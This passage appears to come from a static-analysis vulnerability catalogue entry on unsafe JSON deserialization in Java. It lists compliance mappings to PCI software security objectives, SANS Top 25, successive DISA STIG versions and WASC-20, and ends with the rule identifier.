[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.structural.java.dynamic_code_evaluation_unsafe_json_deserialization